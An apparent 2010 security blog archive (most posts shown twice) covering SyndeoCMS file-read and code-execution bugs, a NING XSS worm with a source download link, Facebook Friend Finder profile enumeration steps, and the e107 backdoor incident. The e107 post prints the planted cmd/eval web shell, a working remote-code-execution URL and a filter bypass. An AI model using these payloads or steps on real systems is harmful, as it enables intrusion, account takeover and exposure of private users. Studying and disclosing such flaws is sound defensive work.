Tuesday, September 7, 2010
FaceBook Research?
Was just poking around some FaceBook DNS stuff and noticed that http://research.facebook.com/ redirects to the decipherinc.com homepage, which is a data collection and market research firm. Creepy!
Saturday, September 4, 2010
MOAUB #4 SyndeoCMS Errors
For the last couple of days a group named Abysssec has been releasing a number of "0days" for their month of unpatched bugs event. Personally, I am not a fan of these types of events, and tend to lean more toward the "No more free bugs", but everyone has an opinion ...
Anyway, I finally got to sit down this morning and check out some of these issues out, and wanted to take a minute to make a correction to their research located @ http://www.exploit-db.com/exploits/14887/ which erroneously labels a fread issue as a file inclusion issue. Below is a small snippet from the previously mentioned advisory.
This may confuse some people because the example given shows a url executing the "edit_css" branch while the "save_css" part is what is actually shown in their advisory. In addition to that minor discrepancy are a few more issues worth pointing out.
1] There are no checks for traversal sequences within "edit_css" at all, and that is why "..%2F" works to disclose file contents. A urlencoded character such as "%2F" is already translated into "/" by the time it reaches the affected code, and since a literal "%2F" is not translated during the fopen call you simply cannot bypass this with URI encoding.
2] This issue is NOT a file inclusion issue at all, and instead is a fopen/fread issue that allows an attacker to disclose file contents, and not actually "include" code that could be executed by the PHP interpreter.
3] The "save_css" bit is vulnerable to php code execution, which does not require any sort of directory traversal, due to a careless fopen/fwrite usage @ lines 73-75 of con_configuration.inc.php
I am not quite sure how this code execution bug got missed considering part of the actual vulnerable source was included in the original advisory.
4] To even reach the configuration functionality you must be authorized. However, using the Abysssec "add admin" CSRF bug this point becomes less of an obstacle for an attacker.
Also, thanks Abyssec, for using several code examples from my research without crediting me. I am glad that I could help ...
Anyway, I finally got to sit down this morning and check out some of these issues out, and wanted to take a minute to make a correction to their research located @ http://www.exploit-db.com/exploits/14887/ which erroneously labels a fread issue as a file inclusion issue. Below is a small snippet from the previously mentioned advisory.
This may confuse some people because the example given shows a url executing the "edit_css" branch while the "save_css" part is what is actually shown in their advisory. In addition to that minor discrepancy are a few more issues worth pointing out.
1] There are no checks for traversal sequences within "edit_css" at all, and that is why "..%2F" works to disclose file contents. A urlencoded character such as "%2F" is already translated into "/" by the time it reaches the affected code, and since a literal "%2F" is not translated during the fopen call you simply cannot bypass this with URI encoding.
2] This issue is NOT a file inclusion issue at all, and instead is a fopen/fread issue that allows an attacker to disclose file contents, and not actually "include" code that could be executed by the PHP interpreter.
3] The "save_css" bit is vulnerable to php code execution, which does not require any sort of directory traversal, due to a careless fopen/fwrite usage @ lines 73-75 of con_configuration.inc.php
I am not quite sure how this code execution bug got missed considering part of the actual vulnerable source was included in the original advisory.
4] To even reach the configuration functionality you must be authorized. However, using the Abysssec "add admin" CSRF bug this point becomes less of an obstacle for an attacker.
Also, thanks Abyssec, for using several code examples from my research without crediting me. I am glad that I could help ...
Sunday, August 29, 2010
NINGA, please!
NING is a popular social network community created by internet pioneer, and Netscape founder Marc Andreessen that allows users to create custom social networks similar to Facebook. NING currently host hundreds of thousands of social networks which includes (but is not limited to) websites belonging to the likes of Tyra Banks, Ellen Degeneres, 50 Cent, Meg Whitman, Enrique Iglesias, Kid Rock, Linkin Park, Jay-Z, and many many more.
Recently, after joining a NING powered community I noticed that the functionality of the NING framework seemed to be a bit buggy. I first became aware of this after accidentally typing a set of double quotes into the member search, and realizing by the broken HTML, that a core component of NING seemed to be vulnerable to a simple Cross Site Scripting issue. Unfortunately, XSS bugs are fairly common, but can be especially problematic on community driven websites that rely on cookie based authentication, or have no CSRF protection.
After realizing there were some substantial problems I started to look around the site a bit more, and noticed that NING has user application functionality similar to most social networking websites. Also, NING allows the loading of unrecognized apps via a XML file located via a remote URL. NING apps are basically a combination of HTML, and JavaScript wrapped up within an XML file, so JavaScript execution within the context of a victim's browser is trivial.
This seems to be fairly unsafe at first glance, but applications are hosted on a completely different domain as a means to prevent cross domain based scripting attacks. However, if an attacker has an XSS bug available to them, cross domain policy usually becomes trivial to bypass, as seen in the images below.
Since a users apps are displayed within a page accessed via their public profile writing a NING social network based malware seems trivial at this point, and to make matters even worse the CSRF protection token "xg_token" simply does not work. (This point would be moot anyway due to the XSS bugs) It is also worth mentioning that if an attacker wanted to write a really nasty piece of malware that would take over accounts, it would be fairly easy due to a flaw in NING that allows for a password to be updated without knowing the original, as seen below; and once an attacker knows the password updating the core account settings becomes possible too.
The end result of my research is a simple NING application based, self replicating malware named NINGA. This application is simply a proof of concept, and only seeks to spread itself. However, just about any action you can imagine would be possible such as mass messaging, data harvesting, account hijacking, and much more.
Unfortunately, there is no public bug reporting interface that I am aware of, and NING also seems to not have a security contact, (though, attempts were made to email security@ning.com) so these issues are still present. Hopefully, someone from the NING development team will see this and work on resolving the multiple security issues affecting NING networks, before someone takes the time to write a more complex piece of malware that is created for nefarious purposes.
Download NINGA source
https://drive.google.com/open?id=0B5oxcQ53hliTN0hJRHFMRW9mZkE
DISCLAIMER: All research was conducted using two test accounts that I created, and any malware created was protected by an ACL to prevent anyone except myself from being able to load the malicious application. This research was conducted for academic purposes only!
Recently, after joining a NING powered community I noticed that the functionality of the NING framework seemed to be a bit buggy. I first became aware of this after accidentally typing a set of double quotes into the member search, and realizing by the broken HTML, that a core component of NING seemed to be vulnerable to a simple Cross Site Scripting issue. Unfortunately, XSS bugs are fairly common, but can be especially problematic on community driven websites that rely on cookie based authentication, or have no CSRF protection.
After realizing there were some substantial problems I started to look around the site a bit more, and noticed that NING has user application functionality similar to most social networking websites. Also, NING allows the loading of unrecognized apps via a XML file located via a remote URL. NING apps are basically a combination of HTML, and JavaScript wrapped up within an XML file, so JavaScript execution within the context of a victim's browser is trivial.
This seems to be fairly unsafe at first glance, but applications are hosted on a completely different domain as a means to prevent cross domain based scripting attacks. However, if an attacker has an XSS bug available to them, cross domain policy usually becomes trivial to bypass, as seen in the images below.
Since a users apps are displayed within a page accessed via their public profile writing a NING social network based malware seems trivial at this point, and to make matters even worse the CSRF protection token "xg_token" simply does not work. (This point would be moot anyway due to the XSS bugs) It is also worth mentioning that if an attacker wanted to write a really nasty piece of malware that would take over accounts, it would be fairly easy due to a flaw in NING that allows for a password to be updated without knowing the original, as seen below; and once an attacker knows the password updating the core account settings becomes possible too.
The end result of my research is a simple NING application based, self replicating malware named NINGA. This application is simply a proof of concept, and only seeks to spread itself. However, just about any action you can imagine would be possible such as mass messaging, data harvesting, account hijacking, and much more.
Unfortunately, there is no public bug reporting interface that I am aware of, and NING also seems to not have a security contact, (though, attempts were made to email security@ning.com) so these issues are still present. Hopefully, someone from the NING development team will see this and work on resolving the multiple security issues affecting NING networks, before someone takes the time to write a more complex piece of malware that is created for nefarious purposes.
Download NINGA source
https://drive.google.com/open?id=0B5oxcQ53hliTN0hJRHFMRW9mZkE
DISCLAIMER: All research was conducted using two test accounts that I created, and any malware created was protected by an ACL to prevent anyone except myself from being able to load the malicious application. This research was conducted for academic purposes only!
Tuesday, August 24, 2010
Facebook Information Leakage ... Again
Recently there was an issue with the way Facebook handles the privacy of basic user information. The problem was, that if an individual logged in with the correct email, but incorrect password, a page would be displayed that contained the name, and image of the profile corresponding to the submitted email address. This of course is a bad thing, especially for people who have really locked their Facebook profiles down, and expect the previously mentioned information to remain private.
Unfortunately, after a few minutes of poking around to see if the issue was properly resolved I was able to find an almost identical issue within the core of the Facebook "Friend Finder" feature that allows an attacker to correlate not only email addresses to private profiles, but IM Handles as well. In order to take advantage of this information leak, all an attacker needs to do is follow these simple steps.
1. Navigate to the Facebook "Friend Finder" feature.
2. Click the "Upload Contact File" option in order to access the file upload prompt (Other contact import features work as well. i.e. Import from webmail contacts, and even import IM Contacts).
3. Upload a contact file of ANY of the accepted formats that contains a list of email addresses that you would like to enumerate.
4. If the account is not viewable due to privacy settings then you will be presented with a page like the one shown in the following image. Select the target email(s), and click "Invite to Join.
5. If the email you are targeting DOES have a restricted Facebook profile then an email invite will not be sent, and a page like the following will be visible, which contains a link to the Facebook profile associated with the target email address to be enumerated.
As previously mentioned, the "Friend Finder" feature can also be abused via other vectors as well, to leak user information such as IM Handles (AIM, MSN, ICQ, etc.) as seen in the image below.
Even though these issues that I point out here are new, privacy leaks are nothing new at all to Facebook, and will likely be an issue for the foreseeable future.
UPDATE: Facebook has since corrected these issues. Also, thanks to Blogger for an epic fail, and locking my blog for no reason the day I created this article. I truly appreciate that guys; and it only took you two days to realize you noobed it up, I'm impressed.
Unfortunately, after a few minutes of poking around to see if the issue was properly resolved I was able to find an almost identical issue within the core of the Facebook "Friend Finder" feature that allows an attacker to correlate not only email addresses to private profiles, but IM Handles as well. In order to take advantage of this information leak, all an attacker needs to do is follow these simple steps.
1. Navigate to the Facebook "Friend Finder" feature.
2. Click the "Upload Contact File" option in order to access the file upload prompt (Other contact import features work as well. i.e. Import from webmail contacts, and even import IM Contacts).
3. Upload a contact file of ANY of the accepted formats that contains a list of email addresses that you would like to enumerate.
4. If the account is not viewable due to privacy settings then you will be presented with a page like the one shown in the following image. Select the target email(s), and click "Invite to Join.
5. If the email you are targeting DOES have a restricted Facebook profile then an email invite will not be sent, and a page like the following will be visible, which contains a link to the Facebook profile associated with the target email address to be enumerated.
As previously mentioned, the "Friend Finder" feature can also be abused via other vectors as well, to leak user information such as IM Handles (AIM, MSN, ICQ, etc.) as seen in the image below.
Even though these issues that I point out here are new, privacy leaks are nothing new at all to Facebook, and will likely be an issue for the foreseeable future.
UPDATE: Facebook has since corrected these issues. Also, thanks to Blogger for an epic fail, and locking my blog for no reason the day I created this article. I truly appreciate that guys; and it only took you two days to realize you noobed it up, I'm impressed.
Thursday, January 28, 2010
Brief analysis of the e107 fiasco
Earlier this week Bogdan Calin posted to the Full-Disclosure mailing list a mesage stating that the popular e107 web application apparently had been modified recently to contain the following malicious code.
As we can see from the above code, this is most definitely not a bug in the software, and indeed a maliciously placed backdoor like Bogdan had initially suggested. The practice of placing malicious code within popular web applications is nothing new, and some may even say that this incident is similar to the Wordpress incident of 2007, where an attacker had successfully managed to taint some Wordpress distributions with malicious code.
One of the interesting things about this case though, versus the Wordpress incident is the fact that this breach seems to have literally happened within a day of e107 patching a serious undisclosed security issue. This leads me to wonder, did the e107 developers attempt to correct errors in thier distribution code before securing thier own servers? The timing of the incident definitely does seem to suggest that is the case, unfortunately.
In regards to the bug itself that allowed for all of the e107 issues, little is known about the technical details of the vulnerability. However, a quick glance at the e107 CVS repository and we can see a few interesting entries.
It seems that this week several files were modified, some of which make mention of "Beginning removal of the use of /e with preg_replace" within thier commit notes, which might lead one to believe that the undisclosed vulnerabilities were due to careless use of eval with preg_replace. After having a look at the changes made within class2.php our suspicions are confirmed.
As we can see from the above code, the changes in class2.php seem to be an application wide attempt to remove the characters { and } from the e_QUERY constant, which are indeed very convienant to use within preg_replace, and eval injection attacks, as they allow code to be parsed dynamically within strings.
Now that we seem to have the cause of the vulnerability figured out, we can now focus on finding an exploitable attack vector, which in this case will be login.php. I chose to use login.php because exploitation is a bit different, and can only be used reliably against servers that do not consider case sensitivity. This was done intentionally since there are still very many vulnerable hosts in the wild at the moment.
The above code is part of the code removed from login.php that basically attempts to make use of the $LOGIN_TABLE variable inside of a preg_replace eval call. The $LOGIN_TABLE variable contains a value from the login template used to render the login form etc. to an unauthenticated user. The problem here is that the language files are included from a file, and thus executed as soon as they are included, which parses variables and constants within the file at runtime. So, whenever we see preg_replace with an eval switch used within e107 to parse template values, it is safe to assume that all variables within the template data such as e_SELF and e_QUERY, now hold the contents of the variable itself which makes remote PHP code execution trivial.
Since login.php parsed the contents of $LOGIN_TABLE with the eval switch, and the included template value containted the e_SELF constant, the above request to a vulnerable e107 install would successfully execute the phpinfo function. A couple of things worth mentioning.
[1] My above example will only work on servers that do not consider case sensitivity as e107 partially filters the PHP_SELF variable before placing it into the e_SELF constant.
[2] Complex curly syntax is not used here. The { and } characters are actually just markers in this case used internally by e107, and that is why we append our function to be executed to a string/variable value.
[3] Exploitation is probably not limited to just e_SELF and e_QUERY, as all user controlled variables within template data parsed in the previously mentioned manner are succeptible to attack.
[4] The fix within class2.php works in most cases, but is most definately flawed as we can bypass the filter to send urlencoded curly braces, as str_replace works sequentially with arrays. For example %7%7bB becomes { and %7%7dD becomes } after the filter is applied to the e_QUERY data.
1: if(md5($_COOKIE['access-admin']) == "cf1afec15669cb96f09befb7d70f8bcb") {
2: ...
3: if(!empty($_POST['cmd'])){
4: $out = execute($_POST['cmd']);
5: }
6: elseif(!empty($_POST['php'])){
7: ob_start();
8: eval($_POST['php']);
9: $out = ob_get_contents();
10: ob_end_clean();
11: }
As we can see from the above code, this is most definitely not a bug in the software, and indeed a maliciously placed backdoor like Bogdan had initially suggested. The practice of placing malicious code within popular web applications is nothing new, and some may even say that this incident is similar to the Wordpress incident of 2007, where an attacker had successfully managed to taint some Wordpress distributions with malicious code.
One of the interesting things about this case though, versus the Wordpress incident is the fact that this breach seems to have literally happened within a day of e107 patching a serious undisclosed security issue. This leads me to wonder, did the e107 developers attempt to correct errors in thier distribution code before securing thier own servers? The timing of the incident definitely does seem to suggest that is the case, unfortunately.
In regards to the bug itself that allowed for all of the e107 issues, little is known about the technical details of the vulnerability. However, a quick glance at the e107 CVS repository and we can see a few interesting entries.
class2.php 1.390 5 days mcfly_e107 Another small fix - just in case
login.php 1.16 7 days mcfly_e107 Beginning removal of the use of /e with preg_replace
userposts.php 1.32 7 days mcfly_e107 Beginning removal of the use of /e with preg_replace
It seems that this week several files were modified, some of which make mention of "Beginning removal of the use of /e with preg_replace" within thier commit notes, which might lead one to believe that the undisclosed vulnerabilities were due to careless use of eval with preg_replace. After having a look at the changes made within class2.php our suspicions are confirmed.
revision 1.388, Sat Jan 9 20:32:21 2010 UTC
define("e_QUERY", $e_QUERY);
revision 1.390, Fri Jan 22 15:00:22 2010 UTC
define("e_QUERY", str_replace(array('{', '}', '%7B', '%7b', '%7D', '%7d'), '', $e_QUERY));
As we can see from the above code, the changes in class2.php seem to be an application wide attempt to remove the characters { and } from the e_QUERY constant, which are indeed very convienant to use within preg_replace, and eval injection attacks, as they allow code to be parsed dynamically within strings.
Now that we seem to have the cause of the vulnerability figured out, we can now focus on finding an exploitable attack vector, which in this case will be login.php. I chose to use login.php because exploitation is a bit different, and can only be used reliably against servers that do not consider case sensitivity. This was done intentionally since there are still very many vulnerable hosts in the wild at the moment.
1: $text = preg_replace("/\{(.*?)\}/e", 'varset($\1,"\1")', $LOGIN_TABLE);
The above code is part of the code removed from login.php that basically attempts to make use of the $LOGIN_TABLE variable inside of a preg_replace eval call. The $LOGIN_TABLE variable contains a value from the login template used to render the login form etc. to an unauthenticated user. The problem here is that the language files are included from a file, and thus executed as soon as they are included, which parses variables and constants within the file at runtime. So, whenever we see preg_replace with an eval switch used within e107 to parse template values, it is safe to assume that all variables within the template data such as e_SELF and e_QUERY, now hold the contents of the variable itself which makes remote PHP code execution trivial.
1: http://www.example.com/e107/login.pHp/{x,phpinfo()}
Since login.php parsed the contents of $LOGIN_TABLE with the eval switch, and the included template value containted the e_SELF constant, the above request to a vulnerable e107 install would successfully execute the phpinfo function. A couple of things worth mentioning.
[1] My above example will only work on servers that do not consider case sensitivity as e107 partially filters the PHP_SELF variable before placing it into the e_SELF constant.
[2] Complex curly syntax is not used here. The { and } characters are actually just markers in this case used internally by e107, and that is why we append our function to be executed to a string/variable value.
[3] Exploitation is probably not limited to just e_SELF and e_QUERY, as all user controlled variables within template data parsed in the previously mentioned manner are succeptible to attack.
[4] The fix within class2.php works in most cases, but is most definately flawed as we can bypass the filter to send urlencoded curly braces, as str_replace works sequentially with arrays. For example %7%7bB becomes { and %7%7dD becomes } after the filter is applied to the e_QUERY data.
Subscribe to:
Posts (Atom)